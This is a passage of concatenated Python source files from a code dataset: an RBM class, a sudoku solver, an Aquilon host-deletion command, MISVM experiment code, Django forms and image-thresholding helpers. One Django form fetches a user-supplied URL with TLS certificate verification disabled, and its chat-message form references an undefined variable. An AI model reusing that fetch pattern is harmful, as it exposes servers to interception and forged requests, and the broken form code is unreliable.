self.visible_bias.assign_add(tf.abs(tf.reduce_mean(self.visible_bias))*self.visible_bias_below_zero)\r\n \r\n \r\n init = tf.global_variables_initializer()\r\n self.sess = tf.Session()\r\n self.sess.run(init)\r\n\r\n def _initialize_vars(self):\r\n pass\r\n\r\n def test(self):\r\n return self.sess.run([self._test, self.hidden_bias])\r\n\r\n def get_err(self, batch_x):\r\n return self.sess.run(self.compute_err, feed_dict={self.x: batch_x, self.dropout_rate: 0})\r\n\r\n def get_free_energy(self):\r\n pass\r\n\r\n def transform(self, batch_x):\r\n return self.sess.run(self.compute_hidden, feed_dict={self.x: batch_x})\r\n\r\n def transform_inv(self, batch_y):\r\n return self.sess.run(self.compute_visible_from_hidden, feed_dict={self.y: batch_y})\r\n\r\n def reconstruct(self, batch_x):\r\n return self.sess.run(self.compute_visible, feed_dict={self.x: batch_x})\r\n\r\n def partial_fit(self, batch_x, dropout):\r\n self.sess.run(self.update_weights, feed_dict={self.x: batch_x, self.learning_rate_ph: self.learning_rate, self.dropout_rate: dropout})\r\n\r\n def write_train_metrics(self, loss, e):\r\n metrics, hists = self.sess.run([self.hist_metrics, self.hists_vars], feed_dict={self.loss_ph: loss})\r\n self.train_writer.add_summary(metrics, e)\r\n self.train_writer.add_summary(hists, e)\r\n# self.train_writer.flush()\r\n \r\n def correct_hidden_biases(self):\r\n self.sess.run(self.hidden_bias_correction)\r\n\r\n def correct_visible_biases(self):\r\n self.sess.run(self.visible_bias_correction)\r\n\r\n\r\n def fit(self,\r\n data_x,\r\n n_epoches=10,\r\n batch_size=10,\r\n learning_rate=0.01,\r\n dropout = 0,\r\n lr_scheduler = lambda x,e,err:x,\r\n shuffle=False,\r\n tboard = True,\r\n correct_hidden = False,\r\n correct_visible = False,\r\n verbose=True):\r\n \r\n self.lr_scheduler = lr_scheduler\r\n \r\n assert n_epoches > 0\r\n\r\n self.learning_rate = learning_rate\r\n n_data = data_x.shape[0]\r\n\r\n if batch_size > 0:\r\n n_batches = n_data // batch_size + (0 if n_data % batch_size == 0 else 1)\r\n else:\r\n n_batches = 1\r\n\r\n if shuffle:\r\n data_x_cpy = data_x.copy()\r\n inds = np.arange(n_data)\r\n else:\r\n data_x_cpy = data_x\r\n\r\n errs = []\r\n\r\n p_err_mean = np.inf\r\n for e in range(n_epoches):\r\n print(\"lr: \" + str(self.learning_rate))\r\n \r\n if verbose and not self._use_tqdm:\r\n print('Epoch: {:d}'.format(e))\r\n\r\n epoch_errs = np.zeros((n_batches,))\r\n epoch_errs_ptr = 0\r\n\r\n if shuffle:\r\n np.random.shuffle(inds)\r\n data_x_cpy = data_x_cpy[inds]\r\n\r\n r_batches = range(n_batches)\r\n\r\n if verbose and self._use_tqdm:\r\n r_batches = self._tqdm(r_batches, desc='Epoch: {:d}'.format(e), ascii=True, file=sys.stdout)\r\n \r\n for b in r_batches:\r\n batch_x = data_x_cpy[b * batch_size:(b + 1) * batch_size]\r\n self.partial_fit(batch_x, dropout = dropout)\r\n if correct_hidden:\r\n self.correct_hidden_biases() #BIAS CORRECTION\r\n if correct_visible:\r\n self.correct_visible_biases()\r\n batch_err = self.get_err(batch_x)\r\n epoch_errs[epoch_errs_ptr] = batch_err\r\n epoch_errs_ptr += 1\r\n\r\n if tboard:\r\n if self.logs_dir is not None:\r\n self.write_train_metrics(np.mean(epoch_errs), e)\r\n\r\n if verbose:\r\n err_mean = epoch_errs.mean()\r\n if self._use_tqdm:\r\n self._tqdm.write('Train error: {:.4f}'.format(err_mean))\r\n self._tqdm.write('')\r\n else:\r\n print('Train error: {:.4f}'.format(err_mean))\r\n print('')\r\n sys.stdout.flush()\r\n \r\n delta_err = p_err_mean - err_mean\r\n p_err_mean = err_mean\r\n self.learning_rate = self.lr_scheduler(self.learning_rate, e, delta_err)\r\n \r\n errs = np.hstack([errs, epoch_errs]) \r\n return errs\r\n \r\n def close_session(self):\r\n self.sess.close()\r\n \r\n def get_weights(self):\r\n return self.sess.run(self.w),\\\r\n self.sess.run(self.visible_bias),\\\r\n self.sess.run(self.hidden_bias)\r\n\r\n def save_weights(self, filename, name):\r\n saver = tf.train.Saver({name + '_w': self.w,\r\n name + '_v': self.visible_bias,\r\n name + '_h': self.hidden_bias})\r\n return saver.save(self.sess, filename)\r\n\r\n def set_weights(self, w, visible_bias, hidden_bias):\r\n self.sess.run(self.w.assign(w))\r\n self.sess.run(self.visible_bias.assign(visible_bias))\r\n self.sess.run(self.hidden_bias.assign(hidden_bias))\r\n\r\n def load_weights(self, filename, name):\r\n saver = tf.train.Saver({name + '_w': self.w,\r\n name + '_v': self.visible_bias,\r\n name + '_h': self.hidden_bias})\r\n saver.restore(self.sess, filename)","sub_path":"rbm.py","file_name":"rbm.py","file_ext":"py","file_size_in_byte":10429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"467284134","text":"\n# === Sudoku board confing ===\n\nrows = 'ABCDEFGHI'\ncols = '123456789'\n\ndef cross(a, b):\n return [s + t for s in a for t in b]\n\nboxes = cross(rows, cols)\n\nrow_units = [cross(r, cols) for r in rows]\ncolumn_units = [cross(rows, c) for c in cols]\nsquare_units = [cross(rs, cs) for rs in ('ABC', 'DEF', 'GHI') for cs in ('123', '456', '789')]\n\n#Additional units used for Diagonal Sudoku\ndiagonal1 = [[rows[a] + cols[a] for a in range(0, 9)]]\ndiagonal2 = [[rows[8 - a] + cols[a] for a in range(0, 9)]]\ndiagonals = diagonal1 + diagonal2\n\nunitlist = row_units + column_units + square_units + diagonals\nunits = dict((s, [u for u in unitlist if s in u]) for s in boxes)\npeers = dict((s, set(sum(units[s], [])) - set([s])) for s in boxes)\n\n# ===END OF Sudoku board confing ===\n\ndef count_unsolved(values):\n \"\"\"\n Count of unsolved boxes in Sudoku\n Input: The sudoku in dictionary form\n Output: Number of unsolved boxes in Sudoku (should be 0 when Sudoku is Solved)\n \"\"\"\n return len([box for box in values.keys() if len(values[box]) == 1])\n\n\ndef count_values_chars(values):\n \"\"\"\n Count overall number of characters in Sudoku. Value for solved 9x9 Sudoku should be 81.\n Input: The sudoku in dictionary form\n Output: The number of all characters in Sudoku (81 for Solved sudoku, more than 81 if there are still any\n boxes with multiple digits.\n \"\"\"\n count = 0\n for box in boxes:\n count += len(values[box])\n\n return count\n\n\ndef display(values):\n \"\"\"\n Display the values as a 2-D grid.\n Input: The sudoku in dictionary form\n Output: None\n \"\"\"\n width = 1 + max(len(values[s]) for s in boxes)\n line = '+'.join(['-' * (width * 3)] * 3)\n for r in rows:\n print(''.join(values[r + c].center(width) + ('|' if c in '36' else '')\n for c in cols))\n if r in 'CF': print(line)\n return\n\n\nassignments = []\n\n\ndef assign_value(values, box, value):\n \"\"\"\n Please use this function to update your values dictionary!\n Assigns a value to a given box. If it updates the board record it.\n \"\"\"\n\n # Don't waste memory appending actions that don't actually change any values\n if values[box] == value:\n return values\n\n values[box] = value\n if len(value) == 1:\n assignments.append(values.copy())\n return values\n\n\ndef naked_twins(values):\n \"\"\"\n Find naked twins in unit and eliminate each twin digit from any other box in this unit. Do in loop until there\n are no more changes in Sudoku values.\n\n Input: Sudoku in dictionary form.\n Output: Resulting Sudoku in dictionary after eliminating values.\n \"\"\"\n while True:\n solved_values_before = count_values_chars(values)\n\n for unit in (row_units + column_units):\n two_digits_boxes = [(box, values[box]) for box in unit if len(values[box]) == 2]\n if len(two_digits_boxes) >= 2:\n seen_values = set()\n twin_values = []\n for box, value in two_digits_boxes:\n if value in seen_values:\n twin_values.append(value)\n else:\n seen_values.add(value)\n\n for twin_value in twin_values:\n for box_in_unit in unit:\n #skip twins\n if values[box_in_unit] == twin_value:\n continue\n\n for digit in twin_value:\n assign_value(values, box_in_unit, values[box_in_unit].replace(digit, ''))\n # values[box_in_unit] = values[box_in_unit].replace(digit, '')\n\n solved_values_after = count_values_chars(values)\n\n # If no more changes in values, stop the loop.\n if solved_values_before == solved_values_after:\n break\n\n return values\n\n\ndef grid_values(grid):\n \"\"\"Convert grid string into {: } dict with '.' value for empties.\n\n Args:\n grid: Sudoku grid in string form, 81 characters long\n Returns:\n Sudoku grid in dictionary form:\n - keys: Box labels, e.g. 'A1'\n - values: Value in corresponding box, e.g. '8', or '.' if it is empty.\n \"\"\"\n assert len(grid) == 81, \"Input grid must be a string of length 81 (9x9)\"\n\n box_values = []\n for char in grid:\n box_values.append('123456789' if char == '.' else char)\n\n return dict(zip(boxes, box_values))\n\n\ndef eliminate(values):\n \"\"\"Eliminate values from peers of each box with a single value.\n\n Go through all the boxes, and whenever there is a box with a single value,\n eliminate this value from the set of values of all its peers.\n\n Args:\n values: Sudoku in dictionary form.\n Returns:\n Resulting Sudoku in dictionary form after eliminating values.\n \"\"\"\n solved_boxes = []\n for box in values.keys():\n if len(values[box]) == 1:\n solved_boxes.append(box)\n\n for solved_box in solved_boxes:\n solved_digit = values[solved_box]\n for peer in peers[solved_box]:\n assign_value(values, peer, values[peer].replace(solved_digit, ''))\n # values[peer] = values[peer].replace(solved_digit, '')\n\n return values\n\n\ndef only_choice(values):\n \"\"\"Finalize all values that are the only choice for a unit.\n\n Go through all the units, and whenever there is a unit with a value\n that only fits in one box, assign the value to this box.\n\n Input: Sudoku in dictionary form.\n Output: Resulting Sudoku in dictionary form after filling in only choices.\n \"\"\"\n for unit in unitlist:\n for digit in '123456789':\n digit_places = [box for box in unit if digit in values[box]]\n if (len(digit_places)) == 1:\n values[digit_places[0]] = digit\n\n return values\n\n\ndef reduce_puzzle(values):\n \"\"\"\n Iterate eliminate(), naked_twins() and only_choice(). If at some point, there is a box with no available values, return False.\n If the sudoku is solved, return the sudoku.\n If after an iteration of both functions, the sudoku remains the same, return the sudoku.\n Input: A sudoku in dictionary form.\n Output: The resulting sudoku in dictionary form.\n \"\"\"\n while True:\n solved_values_before = count_unsolved(values)\n\n values = eliminate(values)\n values = naked_twins(values)\n values = only_choice(values)\n\n solved_values_after = count_unsolved(values)\n if solved_values_before == solved_values_after:\n break\n\n # Sanity check, return False if there is a box with zero available values:\n if len([box for box in values.keys() if len(values[box]) == 0]):\n return False\n\n return values\n\n\ndef search(values):\n \"\"\"\n \"Using depth-first search and propagation, create a search tree and solve the Sudoku.\"\n \"\"\"\n values = reduce_puzzle(values)\n if values == False:\n return False\n\n if all(len(values[s]) == 1 for s in boxes):\n return values\n\n box_len, min_box = min((len(values[min_box]), min_box) for min_box in boxes if len(values[min_box]) > 1)\n\n for possible_val in values[min_box]:\n temp_values = values.copy()\n temp_values[min_box] = possible_val\n solved = search(temp_values)\n if solved:\n return solved\n\n\ndef solve(grid):\n \"\"\"\n Find the solution to a Sudoku grid.\n Args:\n grid(string): a string representing a sudoku grid.\n Example: '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n Returns:\n The dictionary representation of the final sudoku grid. False if no solution exists.\n \"\"\"\n return search(grid_values(grid))\n\n\nif __name__ == '__main__':\n diag_sudoku_grid = '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n display(solve(diag_sudoku_grid))\n\n try:\n from visualize import visualize_assignments\n\n visualize_assignments(assignments)\n\n except SystemExit:\n pass\n except:\n print('We could not visualize your board due to a pygame issue. Not a problem! It is not a requirement.')\n","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":8172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"21676614","text":"# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*-\n# ex: set expandtab softtabstop=4 shiftwidth=4:\n#\n# Copyright (C) 2008,2009,2010,2011,2012,2013 Contributor\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Contains the logic for `aq del host`.\"\"\"\n\nfrom sqlalchemy.orm.attributes import set_committed_value\n\nfrom aquilon.worker.logger import CLIENT_INFO\nfrom aquilon.notify.index import trigger_notifications\nfrom aquilon.worker.broker import BrokerCommand # pylint: disable=W0611\nfrom aquilon.worker.dbwrappers.host import hostname_to_host\nfrom aquilon.worker.dbwrappers.dns import delete_dns_record\nfrom aquilon.worker.dbwrappers.service_instance import check_no_provided_service\nfrom aquilon.worker.processes import DSDBRunner\nfrom aquilon.worker.templates import (Plenary, PlenaryCollection,\n PlenaryServiceInstanceServer)\nfrom aquilon.worker.locks import CompileKey\n\n\nclass CommandDelHost(BrokerCommand):\n\n required_parameters = [\"hostname\"]\n\n def render(self, session, logger, hostname, **arguments):\n # Check dependencies, translate into user-friendly message\n dbhost = hostname_to_host(session, hostname)\n\n dbhost.lock_row()\n\n check_no_provided_service(dbhost)\n\n # Any service bindings that we need to clean up afterwards\n plenaries = PlenaryCollection(logger=logger)\n remove_plenaries = PlenaryCollection(logger=logger)\n remove_plenaries.append(Plenary.get_plenary(dbhost))\n\n archetype = dbhost.archetype.name\n dbmachine = dbhost.hardware_entity\n oldinfo = DSDBRunner.snapshot_hw(dbmachine)\n\n ip = dbmachine.primary_ip\n\n for si in dbhost.services_used:\n plenaries.append(PlenaryServiceInstanceServer.get_plenary(si))\n logger.info(\"Before deleting {0:l}, removing binding to {1:l}\"\n .format(dbhost, si))\n\n del dbhost.services_used[:]\n\n if dbhost.resholder:\n for res in dbhost.resholder.resources:\n remove_plenaries.append(Plenary.get_plenary(res))\n\n # In case of Zebra, the IP may be configured on multiple interfaces\n for iface in dbmachine.interfaces:\n if ip in iface.addresses:\n iface.addresses.remove(ip)\n\n if dbhost.cluster:\n dbcluster = dbhost.cluster\n dbcluster.hosts.remove(dbhost)\n set_committed_value(dbhost, '_cluster', None)\n dbcluster.validate()\n plenaries.append(Plenary.get_plenary(dbcluster))\n\n dbdns_rec = dbmachine.primary_name\n dbmachine.primary_name = None\n dbmachine.host = None\n session.delete(dbhost)\n delete_dns_record(dbdns_rec)\n session.flush()\n\n if dbmachine.vm_container:\n plenaries.append(Plenary.get_plenary(dbmachine.vm_container))\n\n with CompileKey.merge([plenaries.get_key(),\n remove_plenaries.get_key()]):\n plenaries.stash()\n remove_plenaries.stash()\n\n try:\n plenaries.write(locked=True)\n remove_plenaries.remove(locked=True, remove_profile=True)\n\n if archetype != 'aurora' and ip is not None:\n dsdb_runner = DSDBRunner(logger=logger)\n dsdb_runner.update_host(dbmachine, oldinfo)\n dsdb_runner.commit_or_rollback(\"Could not remove host %s from \"\n \"DSDB\" % hostname)\n if archetype == 'aurora':\n logger.client_info(\"WARNING: removing host %s from AQDB and \"\n \"*not* changing DSDB.\" % hostname)\n except:\n plenaries.restore_stash()\n remove_plenaries.restore_stash()\n raise\n\n trigger_notifications(self.config, logger, CLIENT_INFO)\n\n return\n","sub_path":"lib/aquilon/worker/commands/del_host.py","file_name":"del_host.py","file_ext":"py","file_size_in_byte":4427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"624205195","text":"from __future__ import print_function\nfrom openpose import OpenPose\nimport numpy as np\nimport misvm\nfrom sklearn.externals import joblib\nfrom frame_detector import frame_detector, bag2video, plusvideo\n# activate milpy35\nfrom mil import MIL\n\nmethod = 'img'\ndir_name = 'img-MISVM-focusEasy'\nkernel = 'rbf'\ngamma = 0.0012\nC = 1000\nsample_num_per_label = 0\nexperience = '2018'\npath = './result/{0}/{1}/g{2}/c{3}'.format(experience, dir_name, gamma, C)\ndicimate = 4\nperson = []\n\nmil = MIL(method=method, experience=experience, dirName=dir_name, estimatorName='MISVM')\nmil.setData(positiveCsvFileName='easy-video.csv', negativeCsvFileName='hard-video.csv',\n saveMotionTmplate=False, dicimate=4, videoExtension='mp4', csvExtension='csv')\n\ndef main():# read hard and easy\n estimator = misvm.MISVM(kernel=kernel, gamma=gamma, C=C, verbose=True, max_iters=100)\n mil.train(estimator=estimator, resultSuperDirPath=path)\n\n\ndef check_identification_func_max():\n bags, labels, csvnamelist = mil.bags, mil.labels, mil.csvFilePaths\n\n #classifier = joblib.load('result/flag/flag-parameter-c10000.cmp')\n classifier = joblib.load(path + '/MISVM.pkl.cmp')\n indexes = [i for i in range(len(bags))]\n #indexes = [4, 25, 35, 30, 14, 13, 12, 37, 48, 16, 39, 24, 34, 6, 49, 5, 18, 38, 11, 28, 40, 23, 21, 41, 8, 10, 26, 43, 47, 19]\n #indexes = [index for index in range(len(bags)) if index not in indexes]\n bags = [bags[index] for index in indexes]\n labels = [labels[index] for index in indexes]\n\n #print classifier.get_params()\n bag_predictions, instance_predictions = classifier.predict(bags, instancePrediction=True)\n print(labels)\n print(np.sign(bag_predictions))\n print(\"Accuracy: {0}\".format(np.average(labels == np.sign(bag_predictions)) * 100))\n\n import sys\n sys.setrecursionlimit(5000)\n\n ini = 0\n bag_predictions = np.sign(bag_predictions)\n for index, bag_i in enumerate(indexes):\n fin = ini + len(bags[bag_i])\n ident_func_result = np.array(instance_predictions[ini:fin])\n\n max = np.max(ident_func_result)\n if max <= 0:\n ini = fin\n continue\n with open(csvnamelist[bag_i], 'r') as f:\n videopath = f.readline().split(',')[0]\n\n videoname = videopath.split('/')[-1][:-4]\n print(\"videoname: {0}\".format(videoname))\n #print(\"csvfile: {0}\".format(csvnamelist[bag_i]))\n print(\"prediction labels: {0}\".format(bag_predictions[index]))\n print(\"right labels: {0}\".format(labels[index]))\n\n print(\"the maximum of identification func: {0}\".format(max))\n frame = np.argmax(ident_func_result) * dicimate\n print(\"maximum frame: {0}\".format(frame))\n frame_detector(csvnamelist[bag_i], frame, path)\n #bag2video(csvnamelist[bag_i], nontimelist[bag_i], path)\n ini = fin\n\n\ndef search_hyperparameter(ini, fin, step, randomSampledTrainRatio):\n mil.searchGamma(ini=ini, fin=fin, step=step, randomSampledTrainRatio=randomSampledTrainRatio)\n\ndef gridsearch(params_grid, cv=2):\n estimator = misvm.MISVM(max_iters=250)\n mil.gridSearch(estimator=estimator, params_grid=params_grid, cv=cv)\n\n\ndef cross_validation():\n estimator = misvm.MISVM(kernel=kernel, gamma=gamma, C=C, verbose=True, max_iters=200)\n mil.crossValidation(estimator, 5, path)\n\ndef leave_one_out(n_jobs=8):\n estimator = misvm.MISVM(kernel=kernel, gamma=gamma, C=C, verbose=True, max_iters=200)\n mil.leaveOneOut(estimator=estimator, resultSuperDirPath=path, n_jobs=n_jobs, trainAcc=True)\n\ndef leave_one_person_out(n_jobs=8):\n estimator = misvm.MISVM(kernel=kernel, gamma=gamma, C=C, verbose=True, max_iters=200)\n mil.leaveOnePersonOut(estimator=estimator, resultSuperDirPath=path, n_jobs=n_jobs, trainAcc=True)\n\ndef plot_confusion_matrix(cm,\n target_names,\n title='Confusion matrix',\n cmap=None,\n normalize=True):\n \"\"\"\n given a sklearn confusion matrix (cm), make a nice plot\n\n Arguments\n ---------\n cm: confusion matrix from sklearn.metrics.confusion_matrix\n\n target_names: given classification classes such as [0, 1, 2]\n the class names, for example: ['high', 'medium', 'low']\n\n title: the text to display at the top of the matrix\n\n cmap: the gradient of the values displayed from matplotlib.pyplot.cm\n see http://matplotlib.org/examples/color/colormaps_reference.html\n plt.get_cmap('jet') or plt.cm.Blues\n\n normalize: If False, plot the raw numbers\n If True, plot the proportions\n\n Usage\n -----\n plot_confusion_matrix(cm = cm, # confusion matrix created by\n # sklearn.metrics.confusion_matrix\n normalize = True, # show proportions\n target_names = y_labels_vals, # list of names of the classes\n title = best_estimator_name) # title of graph\n\n Citiation\n ---------\n http://scikit-learn.org/stable/auto_examples/model_selection/plot_confusion_matrix.html\n\n \"\"\"\n import matplotlib.pyplot as plt\n import numpy as np\n import itertools\n\n accuracy = np.trace(cm) / float(np.sum(cm))\n misclass = 1 - accuracy\n\n if cmap is None:\n cmap = plt.get_cmap('Blues')\n\n plt.figure(figsize=(8, 6))\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n\n if target_names is not None:\n tick_marks = np.arange(len(target_names))\n plt.xticks(tick_marks, target_names, rotation=45)\n plt.yticks(tick_marks, target_names)\n\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n\n thresh = cm.max() / 1.5 if normalize else cm.max() / 2\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n if normalize:\n plt.text(j, i, \"{:0.4f}\".format(cm[i, j]),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n else:\n plt.text(j, i, \"{:,}\".format(cm[i, j]),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label\\naccuracy={:0.4f}; misclass={:0.4f}'.format(accuracy, misclass))\n plt.show()\n\n\n\ndef get_from_openpose():\n op = OpenPose()\n #op.get_from_openpose(videosdir='/home/junkado/Desktop/keio/hard/focusright', extension=\".mp4\")\n #op.manual_videofile(\"/home/junkado/Desktop/keio/hard/focusright/12.mp4\")\n\n #editLists = [8,9,10,11,12,13,14,16,17,23,24,25,26,27,30,50,51,65,99,100,101,102,103,125,129,130,131,132,133,134,135,137,138,139,140,141,143,145,160,163]\n editLists = [170,261,263,264,266,269,270,271,272,273,274,275,276,277,306,307,308,309,310,311,312,314,315,316,317,318,319,320,323,325,326,327,328,329,338,339,340,341,342,343]\n videopaths = [\"/home/junkado/Desktop/keio/hard/focusright/{0}.mp4\".format(editfile) for editfile in editLists]\n op.manual_videofiles(videopaths)\n\nif __name__ == '__main__':\n #search_hyperparameter(ini=0.001, fin=0.002, step=0.0001, randomSampledTrainRatio=0.8)\n #gridsearch(params_grid=[{'gamma': [0.0012], 'C': [10, 50, 100, 500, 1000, 5000, 10000], 'kernel': ['rbf']}])\n #main()\n #check_identification_func_max()\n #cross_validation()\n #get_from_openpose()\n #leave_one_out(n_jobs=10)\n leave_one_person_out(n_jobs=10)\n \"\"\"\n CC = [2500, 3000, 3500, 4000, 4500]\n for cc in CC:\n path = './result/{0}/{1}/g{2}/c{3}'.format(experience, dir_name, gamma, cc)\n C = cc\n #leave_one_person_out()\n #result_leave_one_person_out()\n #main()\n check_identification_func_max()\n \"\"\"","sub_path":"MISVM.py","file_name":"MISVM.py","file_ext":"py","file_size_in_byte":7977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"640065202","text":"import ssl\nimport bleach\nimport markdown\nimport re\n\nfrom urllib.request import urlopen, Request\nfrom django.utils.html import escape\nfrom django.core.files.base import ContentFile\nfrom django.utils.text import slugify\nfrom django.core.validators import RegexValidator\nfrom django import forms\nfrom bukkake.models import Bukkake, ChatMessage, Comment\nfrom django.conf import settings\n\nclass BukkakeCreateForm(forms.ModelForm):\n\n class Meta:\n model = Bukkake\n fields = ('title', 'url', 'description',)\n widget = {\n 'url': forms.HiddenInput,\n }\n\n def clean_url(self):\n url = self.cleaned_data['url']\n valid_extensions = ['jpg', 'jpeg'] # png or gif not permit due to Pillow restrictions\n extension = url.rsplit('.', 1)[1].lower()\n if extension not in valid_extensions:\n raise forms.ValidationError('The given URL does not match valid image extensions.')\n return url\n\n def save(self, force_insert=False, force_update=False, commit=True):\n image = super(BukkakeCreateForm, self).save(commit=False)\n image_url = self.cleaned_data['url']\n image_name = '{}.{}'.format(slugify(image.title), image_url.rsplit('.', 1)[1].lower())\n\n # download image from the url\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n req = Request(image_url, headers={'User-Agent': 'Mozilla/5.0'})\n response = urlopen(req, context=ctx)\n image.image.save(image_name, ContentFile(response.read()), save=False)\n\n if commit:\n image.save()\n return image\n\n\nclass CommentModelForm(forms.ModelForm):\n bukkake_pk = forms.IntegerField(widget=forms.HiddenInput)\n parent_comment_pk = forms.IntegerField(widget=forms.HiddenInput, required=False)\n\n class Meta:\n model = Comment\n labels = {\n 'body': 'Write a comment'\n }\n fields = ('body',)\n\n\nclass AdminChatMessageForm(forms.ModelForm):\n\n class Meta:\n model = ChatMessage\n fields = ['user', 'message', 'message_html']\n\n def clean(self):\n message = self.cleaned_data['message']\n\n message_html = escape(message)\n\n urlRegex = re.compile(\n u'(?isu)(\\\\b(?:https?://|www\\\\d{0,3}[.]|[a-z0-9.\\\\-]+[.][a-z]{2,4}/)[^\\\\s()<'\n u'>\\\\[\\\\]]+[^\\\\s`!()\\\\[\\\\]{};:\\'\".,<>?\\xab\\xbb\\u201c\\u201d\\u2018\\u2019])'\n )\n processed_urls = list()\n for obj in urlRegex.finditer(current_message):\n old_url = obj.group(0)\n if old_url in processed_urls:\n continue\n processed_urls.append(old_url)\n new_url = old_url\n if not old_url.startswith(('https://', 'http://')):\n new_url = 'http://' + new_url\n new_url = '' + new_url + ''\n message_html = message_html.replace(old_url, new_url)\n\n self.cleaned_data['message_html'] = message_html\n\n return self.cleaned_data\n\n","sub_path":"bukkake/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"417394435","text":"\n#Exercise01\n\ndef hello():\n print(\"Hello World\")\n return\n\ndef percent_decimal(i):\n if (i<=100 and i>=1):\n answer = round(i / 100, 6)\n else :\n answer = round(i * 100, 6)\n return answer\n\ndef exponent(integer, power):\n expo = 1\n while (power != 0) :\n expo = expo * integer\n power = power - 1\n return expo\n\ndef complement(dna):\n dict = {'C': 'G', 'A': 'T', 'G': 'C','T':'A'}\n dnasize = len(dna)\n complementtemp = \"\"\n for i in range(0,dnasize):\n complementtemp = complementtemp + dict.get(dna[i])\n return complementtemp\n","sub_path":"BioInformatics/Exercises/exercise_01.py","file_name":"exercise_01.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"253801497","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nimport matplotlib.image as mpimg\r\nimport matplotlib.pyplot as plt\r\nimport Camera\r\n\r\ndef abs_sobel_thresh(img, orient='x', sobel_kernel=3, thresh=(0, 255)):\r\n # Calculate directional gradient\r\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\r\n x = 1 if orient=='x' else 0\r\n y = 1 if orient=='y' else 0\r\n sobel = cv2.Sobel(gray, cv2.CV_64F, x, y, ksize=sobel_kernel)\r\n abs_sobel = np.abs(sobel)\r\n scaled_grad = np.uint8(255 * abs_sobel/np.max(abs_sobel))\r\n # Apply threshold\r\n grad_binary = np.zeros_like(scaled_grad)\r\n grad_binary[(scaled_grad>thresh[0]) & (scaled_gradmag_thresh[0]) & (scaled_magthresh[0]) & (orient) and inclusive upper (<=)\r\ndef hls_select(img, h_thresh=(0,255), l_thresh=(0,255), s_thresh=(0, 255)):\r\n # 1) Convert to HLS color space\r\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\r\n # 2) Apply a threshold to the S channel\r\n h = hls[:,:,0]\r\n l = hls[:,:,1]\r\n s = hls[:,:,2]\r\n #print(h[600:720,250:300])\r\n binary_output = np.zeros_like(s)\r\n binary_output[((h>h_thresh[0]) & (h<=h_thresh[1])) &\r\n ((l>l_thresh[0]) & (l<=l_thresh[1])) &\r\n ((s>s_thresh[0]) & (s<=s_thresh[1]))] = 1\r\n # 3) Return a binary image of threshold result\r\n return binary_output\r\n\r\ndef thresh_pipeline(img, h_thresh=(0,255), l_thresh=(0,255), s_thresh=(190, 255), sx_thresh=(20, 100)):\r\n img = np.copy(img)\r\n # Convert to HLS color space and separate the V channel\r\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\r\n h = hls[:,:,0]\r\n l = hls[:,:,1]\r\n s_channel = hls[:,:,2]\r\n \r\n #hsv= cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\r\n #h_channel = hls[:,:,0]\r\n #s_channel = hls[:,:,1]\r\n #v_channel = hls[:,:,2]\r\n \r\n # Sobel x\r\n sobelx = cv2.Sobel(s_channel, cv2.CV_64F, 1, 0) # Take the derivative in x\r\n abs_sobelx = np.absolute(sobelx) # Absolute x derivative to accentuate lines away from horizontal\r\n scaled_sobel = np.uint8(255*abs_sobelx/np.max(abs_sobelx))\r\n \r\n '''\r\n # Threshold x gradient\r\n sxbinary = np.zeros_like(scaled_sobel)\r\n sxbinary[(scaled_sobel >= sx_thresh[0]) & (scaled_sobel <= sx_thresh[1])] = 1\r\n \r\n # Threshold color channel\r\n s_binary = np.zeros_like(s_channel)\r\n s_binary[(s_channel >= s_thresh[0]) & (s_channel <= s_thresh[1])] = 1\r\n # Stack each channel\r\n color_binary = np.dstack(( np.zeros_like(sxbinary), sxbinary, s_binary)) * 255\r\n '''\r\n \r\n # Threshold color channel\r\n combined_binary = np.zeros_like(s_channel)\r\n combined_binary[((h>h_thresh[0]) & (h<=h_thresh[1])) &\r\n ((l>l_thresh[0]) & (l<=l_thresh[1])) &\r\n (((s_channel >= s_thresh[0]) & (s_channel <= s_thresh[1])) |\r\n ((scaled_sobel >= sx_thresh[0]) & (scaled_sobel <= sx_thresh[1])))] = 1\r\n\r\n\r\n return combined_binary # color_binary\r\n\r\n'''\r\n# Choose a Sobel kernel size\r\nksize = 3 # Choose a larger odd number to smooth gradient measurements\r\nimage = mpimg.imread('test_images/challenge_test02.jpg')\r\n# Apply each of the thresholding functions\r\ngradx = 